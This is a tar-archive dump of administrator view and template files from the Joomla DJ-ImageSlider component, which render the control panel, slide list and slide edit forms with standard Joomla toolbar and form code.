								<img src="components/com_djimageslider/assets/icon-48-slide-add.png" alt="<?php echo JText::_('COM_DJIMAGESLIDER_NEW_SLIDE') ?>" />
								<span><?php echo JText::_('COM_DJIMAGESLIDER_NEW_SLIDE'); ?></span>
							</a>
						</div>
					</div>
					<div style="float:left;">
						<div class="icon">
							<a href="https://dj-extensions.com/extensions/dj-image-slider.html" target="_blank">
								<img src="components/com_djimageslider/assets/icon-48-help.png" alt="<?php echo JText::_('COM_DJIMAGESLIDER_DOCUMENTATION') ?>" />
								<span><?php echo JText::_('COM_DJIMAGESLIDER_DOCUMENTATION'); ?></span>
							</a>
						</div>
					</div>
			
				</div>
			</div>
			<div class="cpanel-right">
				<div class="cpanel">					
						<iframe src="https://dj-extensions.com/index.php?option=com_content&view=article&tmpl=component&id=437" style="border:0; width: 100%; max-width: 450px; height: 370px; margin: -10px 0; padding: 0;"></iframe>
					<div style="clear: both;" ></div>
				</div>
			</div>
		</td>
	</tr>
</table>
<?php } ?>

<div class="clr" style="clear: both"></div>
<?php echo DJIMAGESLIDERFOOTER; ?>com_djimageslider/views/cpanel/view.html.php000060400000003067152455305310015237 0ustar00<?php 
/**
 * @version $Id$
 * @package DJ-ImageSlider
 * @subpackage DJ-ImageSlider Component
 * @copyright Copyright (C) 2017 DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 * @developer Szymon Woronowski - szymon.woronowski@design-joomla.eu
 *
 *
 * DJ-ImageSlider is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * DJ-ImageSlider is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with DJ-ImageSlider. If not, see <http://www.gnu.org/licenses/>.
 *
 */

defined('_JEXEC') or die( 'Restricted access' );

jimport( 'joomla.application.component.view');
jimport( 'joomla.application.categories');
jimport('joomla.html.pane');

class DJImageSliderViewCpanel extends JViewLegacy
{
	function display($tpl = null)
	{
		JToolBarHelper::title( JText::_('COM_DJIMAGESLIDER'));
		
		JToolBarHelper::preferences('com_djimageslider', 550, 875);
		
		if (class_exists('JHtmlSidebar')){
			$this->sidebar = JHtmlSidebar::render();
		}
		
		$this->classes = DJImageSliderHelper::getBSClasses();
		
		parent::display($tpl);
	}
}
com_djimageslider/views/index.html000060400000000054152455305310013335 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_djimageslider/views/item/tmpl/edit_params.php000060400000003137152455305310016260 0ustar00<?php
/**
 * @version $Id$
 * @package DJ-ImageSlider
 * @subpackage DJ-ImageSlider Component
 * @copyright Copyright (C) 2017 DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 * @developer Szymon Woronowski - szymon.woronowski@design-joomla.eu
 *
 *
 * DJ-ImageSlider is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * DJ-ImageSlider is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with DJ-ImageSlider. If not, see <http://www.gnu.org/licenses/>.
 *
 */

// No direct access.
defined('_JEXEC') or die;

$fieldSets = $this->form->getFieldsets('params');
foreach ($fieldSets as $name => $fieldSet) : ?>
	
	<fieldset class="panelform well" >
		
			<h3><?php echo JText::_($fieldSet->label); ?></h3>
			<?php if (isset($fieldSet->description) && trim($fieldSet->description)) :
				echo '<p class="tip alert alert-info">'.$this->escape(JText::_($fieldSet->description)).'</p>';
			endif; ?>
			<?php foreach ($this->form->getFieldset($name) as $field) : ?>
				<?php echo $field->renderField(); ?>
			<?php endforeach; ?>
		
	</fieldset>
<?php endforeach; ?>com_djimageslider/views/item/tmpl/edit.php000060400000010570152455305320014715 0ustar00<?php
/**
 * @version $Id$
 * @package DJ-ImageSlider
 * @subpackage DJ-ImageSlider Component
 * @copyright Copyright (C) 2017 DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 * @developer Szymon Woronowski - szymon.woronowski@design-joomla.eu
 *
 *
 * DJ-ImageSlider is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * DJ-ImageSlider is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with DJ-ImageSlider. If not, see <http://www.gnu.org/licenses/>.
 *
 */

// No direct access.
defined('_JEXEC') or die;


if(version_compare(JVERSION, '4', '<')) { // Joomla 3) { // first must be the zoomer script
    JHtml::_('behavior.framework');
    JHtml::_('behavior.tooltip');
    JHtml::_('behavior.formvalidation');
}else {
    JHtml::_('behavior.formvalidator');
}

if(version_compare(JVERSION, '3.0', '>=')) JHtml::_('formbehavior.chosen', 'select'); /* J!3.0 only */
?>

<script type="text/javascript">
	Joomla.submitbutton = function(task)
	{
		if (task == 'item.cancel' || document.formvalidator.isValid(document.getElementById('item-form'))) {
			Joomla.submitform(task, document.getElementById('item-form'));
		}
		else {
			alert("<?php echo $this->escape(JText::_('COM_DJIMAGESLIDER_VALIDATION_FORM_FAILED'));?>");
		}
	}
</script>

<form action="<?php echo JRoute::_('index.php?option=com_djimageslider&layout=edit&id='.(int) $this->item->id); ?>" method="post" name="adminForm" id="item-form" class="form-validate form-horizontal">
	<div class="<?php echo $this->classes->row ?>">	
	<div class="<?php echo $this->classes->col ?>7">
		<fieldset class="adminform">
		
			<h3><?php echo empty($this->item->id) ? JText::_('COM_DJIMAGESLIDER_NEW') : JText::sprintf('COM_DJIMAGESLIDER_EDIT', $this->item->id); ?></h3>				
			
			<div class="tab-content">
				
				<div class="control-group">
					<div class="control-label"><?php echo $this->form->getLabel('title'); ?></div>
					<div class="controls"><?php echo $this->form->getInput('title'); ?></div>
				</div>
				<div class="control-group">
					<div class="control-label"><?php echo $this->form->getLabel('catid'); ?></div>
					<div class="controls"><?php echo $this->form->getInput('catid'); ?></div>
				</div>
				<div class="control-group">
					<div class="control-label"><?php echo $this->form->getLabel('image'); ?></div>
					<div class="controls"><?php echo $this->form->getInput('image'); ?></div>
				</div>
				<div style="clear:both"></div>
				<div class="control-group">
					<div class="control-label"><?php echo $this->form->getLabel('description'); ?></div>
					<div class="controls"><?php echo $this->form->getInput('description'); ?></div>
				</div>
				
			</div>
		</fieldset>
	</div>

	<div class="<?php echo $this->classes->col ?>5">
		
		<fieldset class="panelform well" >
		
			<h3><?php echo JText::_('COM_DJIMAGESLIDER_PUBLISHING_OPTIONS'); ?></h3>
			
				<div class="control-group">
					<div class="control-label"><?php echo $this->form->getLabel('published'); ?></div>
					<div class="controls"><?php echo $this->form->getInput('published'); ?></div>
				</div>
				<div class="control-group">
					<div class="control-label"><?php echo $this->form->getLabel('publish_up'); ?></div>
					<div class="controls"><?php echo $this->form->getInput('publish_up'); ?></div>
				</div>
				<div class="control-group">
					<div class="control-label"><?php echo $this->form->getLabel('publish_down'); ?></div>
					<div class="controls"><?php echo $this->form->getInput('publish_down'); ?></div>
				</div>
				<div class="control-group">
					<div class="control-label"><?php echo $this->form->getLabel('id'); ?></div>
					<div class="controls"><?php echo $this->form->getInput('id'); ?></div>
				</div>
			
		</fieldset>
		
		<?php echo $this->loadTemplate('params'); ?>
		
		<input type="hidden" name="task" value="" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
	</div>
</form>

<div class="clr"></div>
com_djimageslider/views/item/tmpl/legacy.php000060400000010570152455305320015234 0ustar00<?php
/**
 * @version $Id$
 * @package DJ-ImageSlider
 * @subpackage DJ-ImageSlider Component
 * @copyright Copyright (C) 2017 DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 * @developer Szymon Woronowski - szymon.woronowski@design-joomla.eu
 *
 *
 * DJ-ImageSlider is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * DJ-ImageSlider is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with DJ-ImageSlider. If not, see <http://www.gnu.org/licenses/>.
 *
 */

// No direct access.
defined('_JEXEC') or die;


if(version_compare(JVERSION, '4', '<')) { // Joomla 3) { // first must be the zoomer script
    JHtml::_('behavior.framework');
    JHtml::_('behavior.tooltip');
    JHtml::_('behavior.formvalidation');
}else {
    JHtml::_('behavior.formvalidator');
}

if(version_compare(JVERSION, '3.0', '>=')) JHtml::_('formbehavior.chosen', 'select'); /* J!3.0 only */
?>

<script type="text/javascript">
	Joomla.submitbutton = function(task)
	{
		if (task == 'item.cancel' || document.formvalidator.isValid(document.getElementById('item-form'))) {
			Joomla.submitform(task, document.getElementById('item-form'));
		}
		else {
			alert("<?php echo $this->escape(JText::_('COM_DJIMAGESLIDER_VALIDATION_FORM_FAILED'));?>");
		}
	}
</script>

<form action="<?php echo JRoute::_('index.php?option=com_djimageslider&layout=edit&id='.(int) $this->item->id); ?>" method="post" name="adminForm" id="item-form" class="form-validate form-horizontal">
	<div class="<?php echo $this->classes->row ?>">	
	<div class="<?php echo $this->classes->col ?>7">
		<fieldset class="adminform">
		
			<h3><?php echo empty($this->item->id) ? JText::_('COM_DJIMAGESLIDER_NEW') : JText::sprintf('COM_DJIMAGESLIDER_EDIT', $this->item->id); ?></h3>				
			
			<div class="tab-content">
				
				<div class="control-group">
					<div class="control-label"><?php echo $this->form->getLabel('title'); ?></div>
					<div class="controls"><?php echo $this->form->getInput('title'); ?></div>
				</div>
				<div class="control-group">
					<div class="control-label"><?php echo $this->form->getLabel('catid'); ?></div>
					<div class="controls"><?php echo $this->form->getInput('catid'); ?></div>
				</div>
				<div class="control-group">
					<div class="control-label"><?php echo $this->form->getLabel('image'); ?></div>
					<div class="controls"><?php echo $this->form->getInput('image'); ?></div>
				</div>
				<div style="clear:both"></div>
				<div class="control-group">
					<div class="control-label"><?php echo $this->form->getLabel('description'); ?></div>
					<div class="controls"><?php echo $this->form->getInput('description'); ?></div>
				</div>
				
			</div>
		</fieldset>
	</div>

	<div class="<?php echo $this->classes->col ?>5">
		
		<fieldset class="panelform well" >
		
			<h3><?php echo JText::_('COM_DJIMAGESLIDER_PUBLISHING_OPTIONS'); ?></h3>
			
				<div class="control-group">
					<div class="control-label"><?php echo $this->form->getLabel('published'); ?></div>
					<div class="controls"><?php echo $this->form->getInput('published'); ?></div>
				</div>
				<div class="control-group">
					<div class="control-label"><?php echo $this->form->getLabel('publish_up'); ?></div>
					<div class="controls"><?php echo $this->form->getInput('publish_up'); ?></div>
				</div>
				<div class="control-group">
					<div class="control-label"><?php echo $this->form->getLabel('publish_down'); ?></div>
					<div class="controls"><?php echo $this->form->getInput('publish_down'); ?></div>
				</div>
				<div class="control-group">
					<div class="control-label"><?php echo $this->form->getLabel('id'); ?></div>
					<div class="controls"><?php echo $this->form->getInput('id'); ?></div>
				</div>
			
		</fieldset>
		
		<?php echo $this->loadTemplate('params'); ?>
		
		<input type="hidden" name="task" value="" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
	</div>
</form>

<div class="clr"></div>
com_djimageslider/views/item/tmpl/legacy_params.php000060400000003137152455305320016600 0ustar00<?php
/**
 * @version $Id$
 * @package DJ-ImageSlider
 * @subpackage DJ-ImageSlider Component
 * @copyright Copyright (C) 2017 DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 * @developer Szymon Woronowski - szymon.woronowski@design-joomla.eu
 *
 *
 * DJ-ImageSlider is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * DJ-ImageSlider is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with DJ-ImageSlider. If not, see <http://www.gnu.org/licenses/>.
 *
 */

// No direct access.
defined('_JEXEC') or die;

$fieldSets = $this->form->getFieldsets('params');
foreach ($fieldSets as $name => $fieldSet) : ?>
	
	<fieldset class="panelform well" >
		
			<h3><?php echo JText::_($fieldSet->label); ?></h3>
			<?php if (isset($fieldSet->description) && trim($fieldSet->description)) :
				echo '<p class="tip alert alert-info">'.$this->escape(JText::_($fieldSet->description)).'</p>';
			endif; ?>
			<?php foreach ($this->form->getFieldset($name) as $field) : ?>
				<?php echo $field->renderField(); ?>
			<?php endforeach; ?>
		
	</fieldset>
<?php endforeach; ?>com_djimageslider/views/item/tmpl/index.html000060400000000054152455305320015250 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_djimageslider/views/item/view.html.php000060400000007263152455305320014736 0ustar00<?php
/**
 * @version $Id$
 * @package DJ-ImageSlider
 * @subpackage DJ-ImageSlider Component
 * @copyright Copyright (C) 2017 DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 * @developer Szymon Woronowski - szymon.woronowski@design-joomla.eu
 *
 *
 * DJ-ImageSlider is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * DJ-ImageSlider is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with DJ-ImageSlider. If not, see <http://www.gnu.org/licenses/>.
 *
 */

// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die( 'Restricted access' );

jimport('joomla.application.component.view');
class DJImageSliderViewItem extends JViewLegacy
{
	protected $form;
	protected $item;
	protected $state;

	public function display($tpl = null)
	{
		// Initialiase variables.
		$this->form		= $this->get('Form');
		$this->item		= $this->get('Item');
		$this->state	= $this->get('State');

		// Check for errors.
		if (count($errors = $this->get('Errors'))) {
			throw new \Exception(implode("\n", $errors), 500);
			return false;
		}

		$this->classes = DJImageSliderHelper::getBSClasses();
		
		$this->addToolbar();
		parent::display($tpl);
	}
	
	protected function addToolbar()
	{
		JFactory::getApplication()->input->set('hidemainmenu', true);

		$user		= JFactory::getUser();
		$userId		= $user->get('id');
		$isNew		= ($this->item->id == 0);
		$checkedOut	= !($this->item->checked_out == 0 || $this->item->checked_out == $userId);
		$canDo		= true; //ContactHelper::getActions($this->state->get('filter.category'));

		$text = $isNew ? JText::_( 'COM_DJIMAGESLIDER_NEW' ) : JText::_( 'COM_DJIMAGESLIDER_EDIT' );
		JToolBarHelper::title(   JText::_( 'COM_DJIMAGESLIDER_ITEM' ).': <small><small>[ ' . $text.' ]</small></small>', 'generic.png' );
		
		// Built the actions for new and existing records.
		if ($isNew)  {
			// For new records, check the create permission.
			//if ($canDo->get('core.create')) {
				JToolBarHelper::apply('item.apply', 'JTOOLBAR_APPLY');
				JToolBarHelper::save('item.save', 'JTOOLBAR_SAVE');
				JToolBarHelper::custom('item.save2new', 'save-new.png', 'save-new_f2.png', 'JTOOLBAR_SAVE_AND_NEW', false);
			//}

			JToolBarHelper::cancel('item.cancel', 'JTOOLBAR_CANCEL');
		}
		else {
			// Can't save the record if it's checked out.
			if (!$checkedOut) {
				// Since it's an existing record, check the edit permission, or fall back to edit own if the owner.
				//if ($canDo->get('core.edit') || ($canDo->get('core.edit.own') && $this->item->created_by == $userId)) {
					JToolBarHelper::apply('item.apply', 'JTOOLBAR_APPLY');
					JToolBarHelper::save('item.save', 'JTOOLBAR_SAVE');

					// We can save this record, but check the create permission to see if we can return to make a new one.
					//if ($canDo->get('core.create')) {
						JToolBarHelper::custom('item.save2new', 'save-new.png', 'save-new_f2.png', 'JTOOLBAR_SAVE_AND_NEW', false);
					//}
				//}
			}

			// If checked out, we can still save
			//if ($canDo->get('core.create')) {
				JToolBarHelper::custom('item.save2copy', 'save-copy.png', 'save-copy_f2.png', 'JTOOLBAR_SAVE_AS_COPY', false);
			//}

			JToolBarHelper::cancel('item.cancel', 'JTOOLBAR_CLOSE');
		}

	}
}
com_djimageslider/views/item/index.html000060400000000054152455305320014274 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_djimageslider/views/items/index.html000060400000000054152455305320014457 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_djimageslider/views/items/view.html.php000060400000006153152455305320015116 0ustar00<?php
/**
 * @version $Id$
 * @package DJ-ImageSlider
 * @subpackage DJ-ImageSlider Component
 * @copyright Copyright (C) 2017 DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 * @developer Szymon Woronowski - szymon.woronowski@design-joomla.eu
 *
 *
 * DJ-ImageSlider is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * DJ-ImageSlider is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with DJ-ImageSlider. If not, see <http://www.gnu.org/licenses/>.
 *
 */

// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die( 'Restricted access' );

jimport('joomla.application.component.view');

class DJImageSliderViewItems extends JViewLegacy
{
	protected $items;
	protected $pagination;
	protected $state;
	
	public function display($tpl = null)
	{
		$this->items		= $this->get('Items');
		$this->pagination	= $this->get('Pagination');
		$this->state		= $this->get('State');
		
		// Check for errors.
		if (count($errors = $this->get('Errors'))) {
			throw new \Exception(implode("\n", $errors), 500);
			return false;
		}

		if (class_exists('JHtmlSidebar')){
			$this->sidebar = JHtmlSidebar::render();
		}
		
		foreach($this->items as $item) {
			$item->thumb = 'components/com_djimageslider/assets/icon-image.png';						
			if(strcasecmp(substr($item->image, 0, 4), 'http') != 0 && !empty($item->image)) {
				$item->image = JURI::root(true).'/'.$item->image;
			}
			$item->preview = '<img src="'.$item->image.'" alt="'.$this->escape($item->title).'" width="300" />';
		}
		
		$this->classes = DJImageSliderHelper::getBSClasses();
		
		$this->addToolbar();		
		parent::display($tpl);
	}
	
	protected function addToolbar()
	{
		$doc = JFactory::getDocument();

		JHTML::_('jquery.framework');
		$doc->addStyleSheet(JURI::root(true).'/media/djextensions/magnific/magnific.css');
		$doc->addScript(JURI::root(true).'/media/djextensions/magnific/magnific.js', 'text/javascript');
		$doc->addScript(JURI::base(true).'/components/com_djimageslider/assets/magnific-init.js', 'text/javascript');
		
		JToolBarHelper::title(JText::_('COM_DJIMAGESLIDER_SLIDES'), 'generic.png');

		JToolBarHelper::addNew('item.add','JTOOLBAR_NEW');
		JToolBarHelper::editList('item.edit','JTOOLBAR_EDIT');
		JToolBarHelper::deleteList('', 'items.delete','JTOOLBAR_DELETE');
		JToolBarHelper::divider();
		JToolBarHelper::custom('items.publish', 'publish.png', 'publish_f2.png','JTOOLBAR_PUBLISH', true);
		JToolBarHelper::custom('items.unpublish', 'unpublish.png', 'unpublish_f2.png', 'JTOOLBAR_UNPUBLISH', true);
		JToolBarHelper::divider();
		JToolBarHelper::preferences('com_djimageslider', 550, 875);
		
	}
}com_djimageslider/views/items/tmpl/emptystate.php000060400000001523152455305320016350 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Layout\LayoutHelper;

$displayData = [
	'textPrefix' => 'COM_DJIMAGESLIDER_ITEMS',
	'formURL'    => 'index.php?option=com_djimageslider&view=items',
	'helpURL'    => 'https://support.dj-extensions.com/portal/en/kb/articles/creating-new-custom-item',
	'icon'       => 'generic',
];

$user = Factory::getApplication()->getIdentity();

if ($user->authorise('core.create', 'com_djimageslider'))
{
	$displayData['createURL'] = 'index.php?option=com_djimageslider&task=item.add';
}

echo LayoutHelper::render('joomla.content.emptystate', $displayData);
com_djimageslider/views/items/tmpl/legacy.php000060400000021575152455305320015426 0ustar00<?php 
/**
 * @version $Id$
 * @package DJ-ImageSlider
 * @subpackage DJ-ImageSlider Component
 * @copyright Copyright (C) 2017 DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 * @developer Szymon Woronowski - szymon.woronowski@design-joomla.eu
 *
 *
 * DJ-ImageSlider is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * DJ-ImageSlider is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with DJ-ImageSlider. If not, see <http://www.gnu.org/licenses/>.
 *
 */

defined('_JEXEC') or die('Restricted access');

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Session\Session;


JHtml::_('formbehavior.chosen', 'select');

if(version_compare(JVERSION, '4', '<')) { // Joomla 3) { // first must be the zoomer script
    JHTML::_('behavior.tooltip');
}
$user		= JFactory::getUser();
$userId		= $user->get('id');
$listOrder	= $this->state->get('list.ordering');
$listDirn	= $this->state->get('list.direction');
$canOrder	= $user->authorise('core.edit.state', 'com_djimageslider.category');
$saveOrder	= $listOrder == 'a.ordering';

$joomla4 = version_compare(JVERSION, '4', '>=') ? true : false;

if($saveOrder) {
	if($joomla4) {
		$saveOrderingUrl = 'index.php?option=com_djimageslider&task=items.saveOrderAjax&tmpl=component&' . Session::getFormToken() . '=1';
		HTMLHelper::_('draggablelist.draggable');
	} else {
		$saveOrderingUrl = 'index.php?option=com_djimageslider&task=items.saveOrderAjax&tmpl=component';
		JHtml::_('sortablelist.sortable', 'itemsList', 'adminForm', strtolower($listDirn), $saveOrderingUrl);
	}
}
?>

<div class="<?php echo $this->classes->row ?>">

<?php if(!empty( $this->sidebar)): ?>
<div id="j-sidebar-container" class="<?php echo $this->classes->col ?>2">
	<?php echo $this->sidebar; ?>
</div>
<div id="j-main-container" class="<?php echo $this->classes->col ?>10">
<?php else: ?>
<div id="j-main-container">
<?php endif;?>
	
<form action="<?php echo JRoute::_('index.php?option=com_djimageslider&view=items'); ?>" method="post" name="adminForm" id="adminForm">
	<div id="filter-bar" class="btn-toolbar">
		<div class="filter-search fltlft btn-group pull-left">
			<label class="filter-search-lbl element-invisible" for="filter_search"><?php echo JText::_('JSEARCH_FILTER_LABEL'); ?></label>
			<input type="text" name="filter_search" id="filter_search" value="<?php echo $this->escape($this->state->get('filter.search')); ?>" placeholder="<?php echo JText::_('COM_DJIMAGESLIDER_SEARCH_IN_TITLE'); ?>" />
		</div>
		<div class="filter-search fltlft btn-group pull-left">
			<button type="submit" class="btn"><?php echo JText::_('JSEARCH_FILTER_SUBMIT'); ?></button>
			<button type="button" class="btn" onclick="document.id('filter_search').value='';this.form.submit();"><?php echo JText::_('JSEARCH_FILTER_CLEAR'); ?></button>
		</div>
		<div class="btn-group pull-right hidden-phone">
			<?php echo $this->pagination->getLimitBox(); ?>
		</div>
		<div class="filter-select fltrt btn-group pull-right">
			<select name="filter_published" class="inputbox input-medium" onchange="this.form.submit()">
				<option value=""><?php echo JText::_('JOPTION_SELECT_PUBLISHED');?></option>
				<?php echo JHtml::_('select.options', array(JHtml::_('select.option', '1', 'JPUBLISHED'),JHtml::_('select.option', '0', 'JUNPUBLISHED')), 'value', 'text', $this->state->get('filter.published'), true);?>
			</select>
		</div>
		<div class="filter-select fltrt btn-group pull-right">
			<select name="filter_category" class="inputbox" onchange="this.form.submit()">
				<option value=""><?php echo JText::_('JOPTION_SELECT_CATEGORY');?></option>
				<?php echo JHtml::_('select.options', JHtml::_('category.options', 'com_djimageslider'), 'value', 'text', $this->state->get('filter.category'));?>
			</select>
		</div>
	</div>
	<div class="clr"> </div>
	
	<table class="adminlist table table-striped" id="itemsList">
		<thead>
			<tr>
				<th width="1%" class="nowrap center hidden-phone">
					<?php echo JHtml::_('grid.sort', '<i class="icon-menu-2"></i>', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING'); ?>
				</th>
				<th width="1%">
					<input type="checkbox" name="checkall-toggle" value="" onclick="checkAll(this)" />
				</th>
				<th width="8%">
					<?php echo JText::_('COM_DJIMAGESLIDER_IMAGE'); ?>
				</th>
				<th>
					<?php echo JHtml::_('grid.sort',  'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
				</th>				
				<th width="5%">
					<?php echo JHtml::_('grid.sort', 'JPUBLISHED', 'a.published', $listDirn, $listOrder); ?>
				</th>
				<th width="10%">
					<?php echo JHtml::_('grid.sort', 'JCATEGORY', 'category_title', $listDirn, $listOrder); ?>
				</th>
				<th width="1%">
					<?php echo JHtml::_('grid.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
				</th>
			</tr>
		</thead>
		<tfoot>
			<tr>
				<td colspan="10">
					<?php echo $this->pagination->getListFooter(); ?>
				</td>
			</tr>
		</tfoot>
		<tbody <?php if ($saveOrder && $joomla4) :?> class="js-draggable" data-url="<?php echo $saveOrderingUrl; ?>" data-direction="<?php echo strtolower($listDirn); ?>" data-nested="false"<?php endif; ?>>
		<?php 
		$n = count($this->items);
		foreach ($this->items as $i => $item) :
			$ordering	= ($listOrder == 'a.ordering');
			$canCreate	= $user->authorise('core.create',		'com_djimageslider.category.'.$item->catid);
			$canEdit	= $user->authorise('core.edit',			'com_djimageslider.category.'.$item->catid);
			$canCheckin	= $user->authorise('core.manage',		'com_checkin') || $item->checked_out == $userId || $item->checked_out == 0;
			$canEditOwn	= true; //$user->authorise('core.edit.own',		'com_djimageslider.category.'.$item->catid) && $item->created_by == $userId;
			$canChange	= $user->authorise('core.edit.state',	'com_djimageslider.category.'.$item->catid) && $canCheckin;

			?>
			<tr class="row<?php echo $i % 2; ?>" sortable-group-id="<?php echo $item->catid ?>" data-dragable-group="<?php echo $item->catid ?>">
			
				<td class="order nowrap center hidden-phone">
					<?php $iconClass = '';
					if (!$canChange) {
						$iconClass = ' inactive';
					} elseif (!$saveOrder) {
						$iconClass = ' inactive tip-top hasTooltip" title="' . JHtml::tooltipText('JORDERINGDISABLED');
					} ?>
					<span class="sortable-handler<?php echo $iconClass ?>">
						<i class="icon-move"></i>
					</span>
					<?php if ($canChange && $saveOrder) : ?>
						<input type="text" style="display:none" name="order[]" size="5" value="<?php echo $item->ordering; ?>" class="width-20 text-area-order " />
					<?php endif; ?>
				</td>
				<td class="center">
					<?php echo JHtml::_('grid.id', $i, $item->id); ?>
				</td>
				<td align="center">
					<?php if ($item->image) : ?>
						<a class="mf-popup" href="<?php echo $item->image; ?>"><img src="<?php echo $item->image; ?>" alt="<?php echo $this->escape($item->title); ?>" style="border: 1px solid #ccc; padding: 1px; max-height: 40px; max-width: 60px;" /></a>
					<?php endif; ?>
				</td>
				<td>
					<?php if ($item->checked_out) : ?>
						<?php echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'items.', $canCheckin); ?>
					<?php endif; ?>
					<?php if ($canEdit || $canEditOwn) : ?>
						<a href="<?php echo JRoute::_('index.php?option=com_djimageslider&task=item.edit&id='.(int) $item->id); ?>">
							<?php echo $this->escape($item->title); ?></a>
					<?php else : ?>
						<?php echo $this->escape($item->title); ?>
					<?php endif; ?>
					<div class="smallsub small">
						<?php 
						$desc = strip_tags($item->description);
						if(function_exists('mb_substr')) {
							echo mb_substr($desc,0,120); if(strlen($desc) > 120) echo '...';
						} else {
							echo substr($desc,0,120); if(strlen($desc) > 120) echo '...';
						} ?>
					</div>
				</td>
				<td class="center">
					<?php echo JHtml::_('jgrid.published', $item->published, $i, 'items.', true, 'cb'	); ?>
				</td>
			
				<td align="center">
					<?php echo $item->category_title; ?>
				</td>
				<td align="center">
					<?php echo $item->id; ?>
				</td>
			</tr>
		<?php endforeach; ?>
		</tbody>
	</table>
	<div>
		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<input type="hidden" name="filter_order" value="<?php echo $listOrder; ?>" />
		<input type="hidden" name="filter_order_Dir" value="<?php echo $listDirn; ?>" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
</div>

</div>

<div class="clr" style="clear: both"></div>
